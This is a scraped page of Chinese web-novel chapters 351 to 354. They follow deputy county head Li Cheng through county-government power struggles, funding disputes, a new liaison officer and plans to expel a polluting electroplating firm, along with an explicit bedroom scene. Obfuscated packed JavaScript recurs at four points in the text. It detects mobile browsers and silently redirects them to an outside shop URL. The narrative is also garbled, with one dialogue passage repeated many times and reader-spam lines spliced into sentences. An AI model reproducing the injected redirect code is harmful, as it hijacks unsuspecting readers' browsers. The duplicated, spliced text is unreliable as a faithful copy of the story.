;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324852|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细品味一番,给予了高度评价:“嫂子,有时间你教教我,我回去做给李承吃。 “做法可简单了,等下我们加个微信,我把教程告诉你。倪红笑着答应。 这顿饭大家吃的很愉快,全程欢声笑语。 一直喝到临近十一点,李承和许梦才到家。 身体的欲望在酒精激发下,开始蠢蠢欲动。 房门关闭,李承忍不住将许梦按在玄关的墙壁上,开始亲吻,品味她满口的酒香。 许梦迎合着李承的吻,手指拉开外套拉链,衣服顺着她的手臂滑落在地上。 她双臂缠绕住李 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 承的脖颈,红唇顺着李承的嘴巴,慢慢向下,亲吻李承的脖颈。 那种酥麻的感觉,让李承享受其中。 他的手,也不自觉地在许梦滚烫的身躯上摸索着。 “老公我想要你” 许梦吻过李承的脸颊,在他的耳边轻轻吹了一口热气。 那娇柔入骨的声音,令李承再也忍不住心中的躁动。 他将许梦抱起,放到餐厅的桌子上。 许梦坐在餐桌上,双手向后撑着桌子,将身体拱起,任由李承的放纵 从餐桌到沙发,房间,许久许久,这场干柴烈火的碰撞才结束. 缠绵过后,李承躺在熟悉的床上,格外放松。 这一刻,两个人都等了很久。 昨天晚上李承回到的汉江,但是昨天许梦的姨妈期刚刚结束,所以就忍了一天。 其实,李承能够相信许梦。 除了相信她的人品和那段她跟高凯的聊天记录外,还有一点,去容城的那一天,许梦刚刚来姨妈。 “老公” 许梦从侧面抱住李承。 “嗯?” “你在想什么呢?”许梦看着刚刚发呆中的李承,问。 “在回味” 李承翻身将腿压在许梦的身上,说。 “坏蛋,脑子里就知道想这些。” 许梦的小拳头轻锤了下李承的胸口,说:“回味的话.一会儿我们再来一次.” 第351章 特殊批评 周一。 早上九点半,县政府会议室,召开了周一例会。 核心内容,还是各位副县长通报上周分管工作的进展,以及问题。 研究探讨一下而本周的重点工作,跨部门事项,并传达一下上级精神等 这场会议上,陈红旗并没有着重去提李承,对于李承的工作汇报,只是一带而过。 经过跟洪明德的谈话,陈红旗反思过,察觉到自己先前的不妥。 认为没必要再跟李承斗气,得不偿失。 “陈县长,我有些情况要汇报。” 陈红旗没有找李承的麻烦,李承却有话要讲。 “你说。” 陈红旗看向李承,面容平静。 “我觉得,我们政府办,有必要做一些人事调整,有些人,不服从上级工作安排,影响工作运转。 政府办是保障,协调和落实的服务部门,可有些同志,却故意唱反调,故意拖延,设卡,摆架子! 严重阻碍了领导干部积极性和工作开展!” 李承伶俐的目光看向政府办主任赵兵,他拳头叩击着办公桌,严厉的说:“这叫什么?这叫拿流程当权力,拿服务当筹码,这叫本末倒置! 在保障岗位,却不干分内之事,脑袋里只想着用手中的权力,去讨好,奉承极个别人。 这就是典型的官僚主义!是走狗行为!” 听到李承当着大会上怒斥,办公室主任赵兵低着头,恨不得找个地缝钻进去。 李承虽没有点他的名字,但在场所有人都知道,李承说的是谁! 可偏偏,赵兵只有挨骂的份,没有反驳的能力。 毕竟,李承还没点他的名。 “嗯,李县长,关于你说的事情,我们会后再谈论。” 陈红旗听着李承训斥完,这才铁青着脸开口。 事关赵兵,这种话题,他不想在会上多讲。 打狗还要看主人,若是深聊,丢他的人。 李承也没继续就此事发言。 他的愤怒发泄完了,让赵兵在会议上丢了人,挨了批,这就足够了。 李承也不认为,就凭这一点,就能换掉赵兵这个办公室主任。 会议结束。 “李承同志,你留一下。” 其他副县长离开后,陈红旗将李承留了下来。 赵兵则站在了陈红旗的身旁。 李承拉开陈红旗身旁的椅子,坐了下来,点燃一支香烟。 “你在会议上 提到的问题,是跟赵兵有关,对吧?”陈红旗问。 “对。” “赵兵,具体什么情况?”陈红旗看向赵兵,问。 他什么都知道,但要装作不知道,这是维系表面关系。 “李县长看中一个联络员,但这个女孩刚考上公务员,经验不足,我担心她无法配合李县长的工作,就给李县长安排了一个老员工。”赵兵解释道。 ‘砰!’ 听完赵兵的解释,陈红旗怒拍办公桌,指着赵兵骂了起来:“你是觉得李县长的眼光还不如你是吗? 李县长给省长当过秘书,什么人适合当秘书,什么人不适合,还轮不到你个小小办公室主任来决定。 保障领导工作,是你工作的基本,这一点都做不好,我看你是不想干了吧! 你要是对李县长,对政府有意见,你就立马收拾东西滚蛋!” 看着陈红旗吐沫横飞的痛批,以及赵兵被骂到狗血喷头的表情,李承叼着烟,没来由觉得好笑。 ‘这个陈红旗,又唱的哪一出?’ 李承心中疑惑,陈红旗怒斥赵兵,完全是演给李承他的。 “是我错了,我太自大了。”赵兵垂着头,认错。 “跟我认错有什么用,你耽误了李县长的工作,应该跟李县长道歉!”陈红旗道。 在陈红旗的催促下,赵兵走到李承面前,低声道歉:“李县长,是我工作失误,给您带来了不便,还望您多担待。” “嗯。” 李承弹了弹烟灰,用鼻音应了一声,算是给陈红旗面子。 “李县长为人豁达,不会跟你计较太多,你抓紧把联络员的事情落实!”陈红旗严肃的道。 ‘豁达?’ 李承心中冷笑。 豁达不豁达,要分人。 虽说在陈红旗的迫使下,赵兵服了软。 可他并不打算这么轻易的放过赵兵。 新官上任三把火,第一把火烧在了管委会,第二把火就要烧在县政府。 目前,这第二把火的烈度还远远不够。 要让别人敬畏,就要杀鸡儆猴,只有把赵兵这个办公室主任搞得够狼狈,够惨,别人才会怕。 以后才不敢跟他作对! “我回去立马落实。”赵兵连连点头。 “嗯,你出去吧,我有些话跟李县长单独聊。”陈红旗摆了摆手,打发走赵兵。 “还有什么指示?” 李承将香烟掐灭,随口问。 “关于 **同志的岗位,我觉得还是有些不妥,你一个**副县长做主任,她做党工委**,这种安排反常规了些。 当然,我是支持**同志留在管委会工作的,我的想法是,你们两个人职位做下调换。” 这是陈红旗向李承的示好。 毕竟党工委**才是管委会真正意义上的一把手。 “我们两个谁做**,谁做主任,都会为了园区的发展努力,也会互相探讨意见,就不折腾了。” 李承婉拒了陈红旗的提议。 李承与**志向相同,调换岗位也就没有意义。 “那好,既然你愿意,我也不强求。” 陈红旗微微一笑,一副豪气干云的架势:“产业园区的发展,就靠你们两个了,有什么需要县政府支持的,跟我说,我一定给你们最大程度的帮助,给你做最坚实的后盾!” “好啊,那就多谢陈县长支持了。” 李承表面迎合一句,心中却忍不住腹诽:‘后盾?你不捣乱就万幸了!’ 突然,李承想到了一件事,笑呵呵的说:“对了陈县长,还真有一件事我想跟您商量商量。” “你说。” 陈红旗表情尴尬,他只是跟李承客气一句,没想到对方这么会借坡下驴。 “是这样,前几天刘家村的村民**,堵着路不让修,这事跟政府迟迟不发补偿款有关。 我打算挪用一下旗胜的尾款,先安抚村民!” **同志的岗位,我觉得还是有些不妥,你一个**副县长做主任,她做党工委**,这种安排反常规了些。 当然,我是支持**同志留在管委会工作的,我的想法是,你们两个人职位做下调换。” 这是陈红旗向李承的示好。 毕竟党工委**才是管委会真正意义上的一把手。 “我们两个谁做**,谁做主任,都会为了园区的发展努力,也会互相探讨意见,就不折腾了。” 李承婉拒了陈红旗的提议。 李承与**志向相同,调换岗位也就没有意义。 “那好,既然你愿意,我也不强求。” 陈红旗微微一笑,一副豪气干云的架势:“产业园区的发展,就靠你们两个了,有什么需要县政府支持的,跟我说,我一定给你们最大程度的帮助,给你做最坚实的后盾!” “好啊,那就多谢陈县长支持了。” 李承表面迎合一句,心中却忍不住腹诽:‘后盾?你不捣乱就万幸了!’ 突然,李承想到了一件事,笑呵呵的说:“对了陈县长,还真有一件事我想跟您商量商量。” “你说。” 陈红旗表情尴尬,他只是跟李承客气一句,没想到对方这么会借坡下驴。 “是这样,前几天刘家村的村民**,堵着路不让修,这事跟政府迟迟不发补偿款有关。 我打算挪用一下旗胜的尾款,先安抚村民!” **同志的岗位,我觉得还是有些不妥,你一个**副县长做主任,她做党工委**,这种安排反常规了些。 当然,我是支持**同志留在管委会工作的,我的想法是,你们两个人职位做下调换。” 这是陈红旗向李承的示好。 毕竟党工委**才是管委会真正意义上的一把手。 “我们两个谁做**,谁做主任,都会为了园区的发展努力,也会互相探讨意见,就不折腾了。” 李承婉拒了陈红旗的提议。 李承与**志向相同,调换岗位也就没有意义。 “那好,既然你愿意,我也不强求。” 陈红旗微微一笑,一副豪气干云的架势:“产业园区的发展,就靠你们两个了,有什么需要县政府支持的,跟我说,我一定给你们最大程度的帮助,给你做最坚实的后盾!” “好啊,那就多谢陈县长支持了。” 李承表面迎合一句,心中却忍不住腹诽:‘后盾?你不捣乱就万幸了!’ 突然,李承想到了一件事,笑呵呵的说:“对了陈县长,还真有一件事我想跟您商量商量。” “你说。” 陈红旗表情尴尬,他只是跟李承客气一句,没想到对方这么会借坡下驴。 “是这样,前几天刘家村的村民**,堵着路不让修,这事跟政府迟迟不发补偿款有关。 我打算挪用一下旗胜的尾款,先安抚村民!” **同志的岗位,我觉得还是有些不妥,你一个**副县长做主任,她做党工委**,这种安排反常规了些。 当然,我是支持**同志留在管委会工作的,我的想法是,你们两个人职位做下调换。” 这是陈红旗向李承的示好。 毕竟党工委**才是管委会真正意义上的一把手。 “我们两个谁做**,谁做主任,都会为了园区的发展努力,也会互相探讨意见,就不折腾了。” 李承婉拒了陈红旗的提议。 李承与**志向相同,调换岗位也就没有意义。 “那好,既然你愿意,我也不强求。” 陈红旗微微一笑,一副豪气干云的架势:“产业园区的发展,就靠你们两个了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324853|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有什么需要县政府支持的,跟我说,我一定给你们最大程度的帮助,给你做最坚实的后盾!” “好啊,那就多谢陈县长支持了。” 李承表面迎合一句,心中却忍不住腹诽:‘后盾?你不捣乱就万幸了!’ 突然,李承想到了一件事,笑呵呵的说:“对了陈县长,还真有一件事我想跟您商量商量。” “你说。” 陈红旗表情尴尬,他只是跟李承客气一句,没想到对方这么会借坡下驴。 “是这样,前几天刘家村的村民**,堵着路不让修,这事跟政府迟迟不发补偿款有关。 我打算挪用一下旗胜的尾款,先安抚村民!” **同志的岗位,我觉得还是有些不妥,你一个**副县长做主任,她做党工委**,这种安排反常规了些。 当然,我是支持**同志留在管委会工作的,我的想法是,你们两个人职位做下调换。” 这是陈红旗向李承的示好。 毕竟党工委**才是管委会真正意义上的一把手。 “我们两个谁做**,谁做主任,都会为了园区的发展努力,也会互相探讨意见,就不折腾了。” 李承婉拒了陈红旗的提议。 李承与**志向相同,调换岗位也就没有意义。 “那好,既然你愿意,我也不强求。” 陈红旗微微一笑,一副豪气干云的架势:“产业园区的发展,就靠你们两个了,有什么需要县政府支持的,跟我说,我一定给你们最大程度的帮助,给你做最坚实的后盾!” “好啊,那就多谢陈县长支持了。” 李承表面迎合一句,心中却忍不住腹诽:‘后盾?你不捣乱就万幸了!’ 突然,李承想到了一件事,笑呵呵的说:“对了陈县长,还真有一件事我想跟您商量商量。” “你说。” 陈红旗表情尴尬,他只是跟李承客气一句,没想到对方这么会借坡下驴。 “是这样,前几天刘家村的村民**,堵着路不让修,这事跟政府迟迟不发补偿款有关。 我打算挪用一下旗胜的尾款,先安抚村民!” **同志的岗位,我觉得还是有些不妥,你一个**副县长做主任,她做党工委**,这种安排反常规了些。 当然,我是支持**同志留在管委会工作的,我的想法是,你们两个人职位做下调换。” 这是陈红旗向李承的示好。 毕竟党工委**才是管委会真正意义上的一把手。 “我们两个谁做**,谁做主任,都会为了园区的发展努力,也会互相探讨意见,就不折腾了。” 李承婉拒了陈红旗的提议。 李承与**志向相同,调换岗位也就没有意义。 “那好,既然你愿意,我也不强求。” 陈红旗微微一笑,一副豪气干云的架势:“产业园区的发展,就靠你们两个了,有什么需要县政府支持的,跟我说,我一定给你们最大程度的帮助,给你做最坚实的后盾!” “好啊,那就多谢陈县长支持了。” 李承表面迎合一句,心中却忍不住腹诽:‘后盾?你不捣乱就万幸了!’ 突然,李承想到了一件事,笑呵呵的说:“对了陈县长,还真有一件事我想跟您商量商量。” “你说。” 陈红旗表情尴尬,他只是跟李承客气一句,没想到对方这么会借坡下驴。 “是这样,前几天刘家村的村民**,堵着路不让修,这事跟政府迟迟不发补偿款有关。 我打算挪用一下旗胜的尾款,先安抚村民!” **同志的岗位,我觉得还是有些不妥,你一个**副县长做主任,她做党工委**,这种安排反常规了些。 当然,我是支持**同志留在管委会工作的,我的想法是,你们两个人职位做下调换。” 这是陈红旗向李承的示好。 毕竟党工委**才是管委会真正意义上的一把手。 “我们两个谁做**,谁做主任,都会为了园区的发展努力,也会互相探讨意见,就不折腾了。” 李承婉拒了陈红旗的提议。 李承与**志向相同,调换岗位也就没有意义。 “那好,既然你愿意,我也不强求。” 陈红旗微微一笑,一副豪气干云的架势:“产业园区的发展,就靠你们两个了,有什么需要县政府支持的,跟我说,我一定给你们最大程度的帮助,给你做最坚实的后盾!” “好啊,那就多谢陈县长支持了。” 李承表面迎合一句,心中却忍不住腹诽:‘后盾?你不捣乱就万幸了!’ 突然,李承想到了一件事,笑呵呵的说:“对了陈县长,还真有一件事我想跟您商量商量。” “你说。” 陈红旗表情尴尬,他只是跟李承客气一句,没想到对方这么会借坡下驴。 “是这样,前几天刘家村的村民**,堵着路不让修,这事跟政府迟迟不发补偿款有关。 我打算挪用一下旗胜的尾款,先安抚村民!” 第352章 一办,六局,一所 李承的确有挪用旗胜尾款的想法,但这需要县政府的同意,走财政流程,不然就是违法违纪,后果严重。 李承肯定不会去冒这个险。 他这么说,只是想给陈红旗施加压力。 毕竟,李承没有挪用资金的权力,却有卡着尾款不结的能力。 “这是专项资金,专款专用,不能截留,挤占和挪用,这是纪律红线,李县长,我劝你还是不要打这笔钱的主意了。 修路的问题,我们可以商量着解决。 陈红旗坚定的摇头,拒绝了李承的想法。 “可补偿修路的专项款,去解决‘三保’问题了,修路占地总要赔人钱呀。 李承无奈地说。 “钱的情况,县政府会想办法解决,两者性质不同。陈红旗道。 陈红旗作为县政府一把手,掌控着全县的钱袋子,他刚刚的两句话,就把实权体现的淋漓尽致。 从事件上,挪用工程尾款去补偿村民。 和挪用村民的补偿款,去保障三保,两者性质没有不同。 唯一的不同,就是陈红旗个人意愿。 他不同意李承挪用专项款,李承敢动,就是违纪违法。 但他挪用了专项款,让财政局下个文,改变一下用途,再向上级部门做个汇报,这就叫资金调剂,统筹使用,合法合规。 “唉修路是大事,不能再拖了。 李承长叹一口气,说:“对了陈县长,关于旗胜工程尾款的事情,我还得跟您打个招呼。 旗胜有偷工减料的先例,关于管委会大楼的质量,我觉得还要重新验收一下,这个款先延迟吧。 李承故意刁难,是在逼着陈红旗解决问题,批款补偿,至于县政府有没有钱,跟他没关系,不是他要考虑的问题。 而且李承很清楚,刘家村的村民突然**,阻碍修路,这背后就有陈红旗,陈红胜两兄弟在捣鬼。 他们不让修路,李承就不给他们批钱。 李承这位管委会主任不签字,这笔款,就算陈红旗也批不走。 “修路的钱,我会尽快解决。 陈红旗表情阴沉,他也拿李承没什么办法,只能妥协。 ‘咚咚咚’ 下午,李承坐在办公室里看着批款的资料,想从里面挑出一些毛病来,打回给政府办。 这时,办公室门被敲响。 “进。 得到李承的允许,门被推开,戚瑶脸上带着羞涩的笑容,小心翼 听说看这本书的人都是很幸运的,分享后你的运气会更棒 翼关上门,向李承正式做了个自我介绍:“李县长好,我是政府办新派来的联络员,我叫戚瑶。” “嗯,过来坐。” 李承微笑着冲她招了招手。 戚瑶是刚毕业的大学生,在她身上带着抹脱离世俗的清纯气息,那种气息很阳光,会让人心情愉悦。 死气沉沉的办公室里,需要这样的气息来焕发生机。 而这种气息,往往也都是短暂的。 很多清纯活力的年轻人,身上都有这种气息,但等他们上班后,这些气息就会消散,会被现实和工作磨灭。 也就是当下年轻人俗称的:班味儿重。 “好的。” 戚瑶拉开李承对面的椅子,坐了下来。 “对联络员的工作,你有多少了解?”李承问。 “安排会议,协调时间,通知部门,写讲话稿,汇报材料,工作总结” 戚瑶来之前,是做足功课的。 她一口气将她所了解到的所有工作,统统讲述了一遍。 有些死记硬背的味道,但确实下过功夫。 “嗯,不错。” 李承满意的点了点头,说:“最重要的一点,就是绝对的服从。” “我明白。”戚瑶认真点头。 她虽没有工作经验,但一些浅薄的道理,她懂。 联络员就是秘书,是领导的身边人,要对领导保持绝对的忠诚。 “对于管委会的内部情况,你熟悉多少?”李承温和的问。 “这个.我还没有了解。”戚瑶尴尬的挤出一个笑:“但我会很快的了解清楚,去适应工作。” “我给你介绍,你记一下。”李承说。 “好。” 戚瑶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329759|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打开包,从里面拿出笔记本,准备认真记录。 “管委会是单独的行政机构,在我们风林县管委会的行政单位里,还分为一办,六局和一所” 接下来,李承详细的为戚瑶做出介绍。 别看李承这位副县长,分管的只是一个小县城管委会的政务工作,听起来,管委会主任没什么噱头。 实际上,风林县管委会,相当于一座城市的高新区。 李承这位管委会主任,相当于区长。 放眼整个风林县的政府班子,除了县长陈红旗和常务副县长崔学文之外,李承在一正,六副的七位县长中,能排进前三。 这不仅是他**副县长的身份,也是实权之下的排名。 若是单论实权,李承的含 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 权量,实际上要超过常务副县长崔学文。 作为管委会政务一把手。 在李承的管辖下,有一办,六局,一所。 一办,是指党政综合办公室。 六局分别是,经济发展局,投资促进局,规划建设局,财政金融局,应急管理局和行政审批局。 而一所,就是县**局的派出机构,管委会派出所。 “我们这个管委会里,原来还有这么多局呀。”戚瑶认真记录后,瞠目结舌的感慨了一句。 她没想到,产业园区目前只入驻了两家企业,却有这么多名公务人员在工作。 还分得如此系统化。 “呵呵.麻雀虽小五脏俱全嘛。”李承莞尔一笑,他没有深说其中情况。 李承刚到管委会时,也有跟戚瑶同样的想法。 他认为,搞如此大手笔,完全就是一种铺张浪费。 六个局里,最起码有一半以上,可以改成办公室。 管委会的工作人员目前是一百零三人,其中,三分之二的人,目前都处于吃干饭的状态。 管委会搞这么大的规模,不是为了办公而考虑,完全是为了名额而搞。 在这里办公的,多数是关系户。 要么是亲戚当官,要么是花钱找人. 第353章 攘外先安内 “这是旗胜的竣工结款资料,你拿回去看。”李承将桌子上的资料,推到戚瑶的面前。 “是要核实材料吗?” 戚瑶刚参加工作,没工作经验,更没有联络员的经验,拿到这些资料,她一时间有些发懵。 不知道该是什么流程。 “对,作为联络员,你的工作不只是跑腿这么简单,你还要替我进行初审。 在这之前,你需要熟悉整套业务的流程,具体流程你去问何林,他那里有流程表和文件模板,不懂就问,不用怕麻烦他。” 李承交代道。 作为副县长,李承没有时间亲力亲为的去教戚瑶。 正常而言,是由上任联络员去教。 但王平在她来之前,就已经离开了联络员的岗位。 联络员属于办公室口,让何林去教,最合理。 “好的,我知道了。”戚瑶拿起资料,微笑点头。 “搞懂之后,在这些资料里,你觉得任何不规范,不合理的地方,全部挑出来,再递给我看。” 李承看了一眼时间,对她说:“你今天的任务就是把这些流程摸清楚,回去工作吧,加油。” “李县长,我一定尽快适应工作,感谢您的帮助与栽培。” 戚瑶捧着资料,起身对李承鞠了一躬,这才离开办公室。 她是发自内心的感激李承,没有李承,她要被发配到乡里工作,坐冷板凳。 李承给了她更好的进步空间,对她有知遇之恩! 戚瑶离开后,李承出了办公室,去找**。 攘外必先安内。 **的问题解决了,也恢复正常了工作,内部问题算是基本定性,接下来,就要推动招商。 企业入驻,才是产业园区的核心。 内部再团结,没有企业入驻,管委会也只是摆设,是空架子。 ‘咚咚咚’ “进来。” 李承推门走进,笑着跟**打招呼:“林**。” 这里是管委会,而不是县政府,李承要称呼**这位党工委**为**,而非县长。 当然,**也该称李承为主任。 “李主任,你来的正好,我还想着等下去找你呢。” **正在看着资料,见李承进门,她站起身,满面笑容的迎上李承。 党工委**是一把手,管委会主任是行政一把手,园区二把手。 从管委会的职位讲,**算是李承的直接领导。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 但两个人的关系,经过了这些事情,已经不止是普通同事关系。 在**心里,反而将李承当成了领头羊。 “我手里有几家意向企业,刚刚我又打过回访电话,他们还是在担心风林县的营商环境和政府政策。 待到李承坐在沙发上,**将她的文件本推到李承面前,上面是**用笔写的电话访谈记录。 记录的内容,主要是企业的意向度,顾虑,决策链,以及这通电话的结论汇总。 “林**的工作态度,值得我们学习呀。 看着笔记本上工整漂亮的笔记,和详细的内容,李承发自内心的赞叹。 这才是一位实干官员该有的工作态度! “你就别挖苦我了。 **莞尔一笑,目光看向工作本。 “我过来找你,也是想聊招商引资的问题,这几家企业,现在是什么情况?李承问。 “这四家企业中,龙腾轧钢之前对咱们县意向度最高。 也是最早想跟我县签约的企业,只可惜,经过陈县长的折腾,他们已经和苏原省的新产业园区合作。 她的笔尖指着最下面的龙腾轧钢,打了一个叉,脸上透露着无奈和惋惜。 当初如果陈红旗能够放开政策,完全按照省政府的政策执行,龙腾轧钢估计厂区已经建起来了。 “剩余三家呢?李承问。 “其他三家有意向度,还在纠结中,毕竟企业落地是大事,主要他们担心的,还是风林县的领导班子。**说。 陈红旗之前闹的那一出,已经严重影响了风林县政府的形象。 像这种大型企业,免不了跟政府打交道。 若是碰到好的领导班子,企业的发展,在政府的推动下,也能加快。 但若是碰到那种‘吃拿卡要’的领导班子,企业的麻烦事会不断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329760|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这些企业是南陵市的本土企业,跟本地政府都有深度合作,并建立了关系。 企业信得过那边,却信不过风林县政府。 解决他们对政府的信任问题,才是引进企业的最大攻坚战。 “对于这三家企业,你有什么想法吗?李承问。 “没有.只能当面沟通,尽量争取吧。 **微微摇头,政府的形象一旦崩塌,再想挽回,难度很大。 她的想法,就是靠着三寸不烂之舌,死皮赖脸的谈,去保证。 “嗯。 “我打算这周三跑一趟南陵,去一 你的朋友正在书荒,快去帮帮他吧 趟这三家企业,你要一起吗?”**征询李承的意见。 “你这位党工委**都去了,我哪有不去的道理。” **主抓党务,李承的工作才是招商引资。 **去南陵见企业,是在帮李承促进工作,李承当然也要前往。 “什么**不**的,企业落地才是第一位。” **摆了摆手,她的想法很简单,一切为了园区发展。 而且,她是一个闲不住的人。 让她天天坐办公室里,她还会觉得枯燥。 “对了林**,还有一件事我想跟你商量一下。”提起此事,李承眉头不禁微微蹙起。 这是一个棘手的难题,却也是必须要根除的难题! “什么事?”**看向李承,问。 “恒达这家企业,我想将它踢出产业园区。”李承沉声说。 李承要踢出恒达,跟对方总经理到签约宴会厅**无关。 李承不是那种小心眼的人,更不会公报私仇。 铲除恒达,是因为它本身的不合规,以及它的经营性质。 风林县产业园区,是一家重工业园区。 它的出现,就是为了承接南陵市那些环保不合格的重工业。 但重工业也分很多种。 风林的产业园区允许有污染的企业入驻,污染是重工业的特质。 但电镀企业的‘有毒重金属和难治理’特性,过于致命,也更难监管。 无法进行集中治污! 第354章 进退两难 “这家企业的确是隐患,问题是怎么踢出去? 合同已经签了,工厂也已经建造起来,现在再以不达标为由,撵他们走,说不过去。 陈县长那一关,也不好过。” 提到恒达精密电镀,**也觉得一阵头疼。 电镀企业的危害特性,她很清楚,当初她也是百般阻拦。 但在她被停职调查期间,陈红旗还是将恒达签约了进来。 如今再想撵,难如登天。 一来,强制解约清除,要面临巨额的赔偿和补偿,县财政根本无力支撑。 二来,这家企业是陈红旗招商过来的,陈红旗一定不会同意。 不经过他的同意,就无法执行。 “难就难在这里,而且,王**也未必会支持我们。”李承眉头皱得更深。 虽说,王革已经被陈红旗架空。 但身为风林县的一把手,恒达是他在任期间签的约,如果解约,可能产生的影响,他都有连带责任。 “进退两难呀。”**叹了一口气,她早就想过这个问题,却没什么好对策。 “嗯进退两难。” 进,无路可进。 退,恒达精密电镀公司这个隐患,迟早要出问题! 其实,这件事李承完全可以睁一只眼闭一只眼,放纵不管。 他在产业园区管委会只是一个过渡期,园区走上正轨后,他大概率会有工作调动。 可李承是一个有党性,有责任心的干部。 他不想把这个隐患,留给下届班子。 现在,还能在源头上解决! “但是,难,也必须要进!” 李承犹豫片刻,下定决心。 恒达不符合招商条例,是陈红旗开了后门才进来的。 他宁可与陈红旗闹到不共戴天,也绝不留后患。 回到家。 李承打开房门,一股饭菜香味扑鼻而来。 伴随着饭菜香,还有女人香。 许梦温柔的笑脸,第一时间出现在李承眼帘,她笑得格外美丽:“老公,你回来了,猜猜今天我给你做了什么?” 她的声音带着些许调皮,带着些许爱意,能卷走李承大部分的疲惫与焦虑。 “嗯回锅肉?” 回锅肉是川蜀地区的特色菜,也是许梦的拿手菜。 李承很喜欢这道菜,他猜,许梦会做。 “你好厉害呀,这都被你猜中了,鼻子是小狗的吧。” 许梦亲昵 地刮了一下李承的鼻子,忍不住在他的脸上亲了一口:“饿了吧,快去洗手吃饭。” “好。” 李承换上拖鞋,脱下外套,去卫生间洗了下手。 回到餐厅,许梦已经盛好了米饭,放在李承的位置上。 “还是熟悉的味道,媳妇儿,你都不知道没有你的日子里,我每天吃的都是些什么。” 李承一口菜,一口饭,吃得格外香。 “我不在,你除了泡面就是食堂呗,就知道糊弄自己,都瘦了。” 许梦夹了一些肉到李承碗里,满眼心疼:“我这段时间闲,你想吃什么跟我说,我天天给你做,给你吃得胖胖的。” “我又不是猪羔子,吃那么胖干嘛。”李承玩笑了一句。 “软乎乎的,抱着舒服呗。”许梦说。 “对了,周三我要出趟差,可能要几天的时间。”李承说。 下午,李承和**召开了一个会议,把去南陵市跑企业的时间敲定了下来。 “去哪呀?”许梦问。 “去南陵跑招商。” 李承咀嚼着口中的饭菜,说:“产业园区是老板给我的机会,这对我的仕途很关键,我必须亲力亲为。” 产业园区,是李承仕途路上,最重要的一次机会与考验。 做得好,凭借这个政绩,李承的仕途能够得到晋升,也可以顺利通过孟良德的考验,成为孟良德**生涯中的一颗棋子。 做不好,李承的仕途基本也就止步于此了,或许还会有晋升,但他将成为孟良德的一颗弃子,基本上不会再启用。 仕途的晋升,不仅需要能力,还需要背景和一定的运气,若是得不到孟良德的支持,李承四十岁做到厅级干部的想法,基本破灭。 “我可以跟你一起吗?想去南陵逛一逛。” 许梦的眼睛里充满期盼,补充道:“我不会打扰你工作,白天我自己溜达就行,晚上想跟你在一起。” 她知道,李承的工作性质。 工作时间不能将她带在身边,她只想晚上陪着李承。 “南陵离风林县很近,想去的话,我们可以周末去。”李承婉拒。 想去逛,去旅游,两个人在一起才有意思。 而且,带家属出差,传出去也有不好的影响。 “那好吧。” 许梦微微点头,有些失落。 吃过饭,两人休息了一会儿,李承拉着许梦一起去江边跑步。 沿江公园,算是风林县唯一能拿 得出手的风景。 李承每晚跑步的时间,与石文海每天带孙女遛弯的时间重合。 跑完三公里,两人手牵着手,在中心广场上散步。 沿江广场属于风林县人民茶余饭后的栖息地,广场舞,摆摊,还有一群老大爷围在一起看下象棋的,热闹非凡。 “李叔叔好。” 溜达到一处象棋摊时,一个奶声奶气的声音,喊住了李承。 李承低头看去,看到是石文海的小孙女:“是小美女呀。” 李承不知道小姑娘的名字,便称呼她为小美女。 听到孙女的声音,石文海也从观棋中回过头,看向李承:“小李,又出来夜跑?” “嗯,刚跑完。” 李承微笑点头,对许梦介绍:“这位是石老**。” “老**您好。”许梦冲他礼貌点头。 “你爱人?”石文海对许梦回以微笑,问李承。 “还没结婚,未婚妻。”李承说。 听到‘未婚妻’三个字,许梦心里很是满足,这个称谓与‘女朋友’相比,完全是两种心理地位。 “郎才女貌,呵呵等你们结婚,记得请我喝一杯喜酒。”石文海笑呵呵的道。 “一定。” “听说小林县长回到了管委会工作,有你们两个人主持产业园区,风林百姓的好日子,指日可待。”石文海道。 